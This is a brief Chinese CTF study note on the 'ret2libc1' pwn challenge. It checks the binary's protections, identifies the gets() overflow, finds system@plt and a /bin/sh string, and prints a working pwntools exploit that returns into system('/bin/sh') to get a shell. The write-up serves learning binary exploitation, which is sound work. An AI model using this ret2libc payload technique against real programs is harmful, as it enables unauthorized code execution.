pwn学习——ret2libc1
1.看一下程序的保护
➜ ret2libc1 checksec ret2libc1
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
2.看一下main函数有没有溢出
gets函数不限制长度,可以溢出
3.ROPgadget
利用 ropgadget,我们可以查看是否有 /bin/sh 存在
再看一下system函数的地址
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]
那么,我们直接返回该处,即执行 system 函数。相应的 payload 如下
4.exp
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
flat函数是用来自动生成payload的函数
顺序是:[溢出长度 + 函数名称 + 函数返回地址 + 函数参数]
参考文献